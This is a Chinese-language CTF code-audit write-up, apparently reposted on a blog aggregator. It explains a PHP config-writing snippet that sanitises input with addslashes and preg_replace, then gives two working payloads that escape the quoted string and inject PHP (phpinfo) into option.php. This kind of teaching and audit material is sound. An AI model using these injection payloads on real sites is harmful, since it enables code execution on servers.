内容简介:【代码小审计 PHP篇】Challenge 2
前言
专栏名为【代码小审计】,面向CTFer和代码审计新手。基于代码小片段进行讲解,包含但不限于 php 等语言。此次题目来自: Code-Audit-Challenges: php/challenge-3
Challenge
index.php
<?php $str = addslashes($_GET['option']); $file = file_get_contents('xxxxx/option.php'); $file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file); file_put_contents('xxxxx/option.php', $file);
xxxxx/option.php
$option='test';
Solution
流程如下:
-
对传入的option参数进行addslashes,比如有单引号
'
,会变成\'
-
通过正则匹配xxxxx/option.php中的
$option='xxx';
,将xxx的内容替换为经第一步处理的值 - 替换完成,将其写入xxxxx/option.php。
场景: 用于写入配置文件等。
法一
先访问:
?option=aaa';%0aphpinfo();//
经过addslashes后,$str值为 aaa\';%0aphpinfo();//
进行正则匹配并写入文件,xxxxx/option.php的内容变为:
<?php $option='aaa\'; phpinfo();//'; ?>
再访问:
?option=xxx
正则匹配时,会将两个单引号里的内容即 aaa\
,替换为 xxx
,此时xxxxx/option.php的内容变为
<?php $option='xxx'; phpinfo();//'; ?>
最后访问:/xxxxx/option.php
法二
访问:
?option=aaa\';phpinfo();//
经过addslashes后,$str为 aaa\\\';phpinfo();//
经过preg_replace正则匹配后,对 \
做了转义处理,xxxxx/option.php的内容变为:
<?php $option='aaa\\';phpinfo();//'; ?>
最后访问:/xxxxx/option.php
Refference
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 代码审计--源代码审计思路
- 【代码审计】PHP代码审计之CTF系列(1)
- 【JSP代码审计】从代码审计的角度看系统接口的安全性
- Java代码审计丨某开源系统源码审计
- 【JSP代码审计】某商城几处漏洞审计分析
- “代码审计”了解一下
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Programming Amazon Web Services
James Murty / O'Reilly Media / 2008-3-25 / USD 49.99
Building on the success of its storefront and fulfillment services, Amazon now allows businesses to "rent" computing power, data storage and bandwidth on its vast network platform. This book demonstra......一起来看看 《Programming Amazon Web Services》 这本书的介绍吧!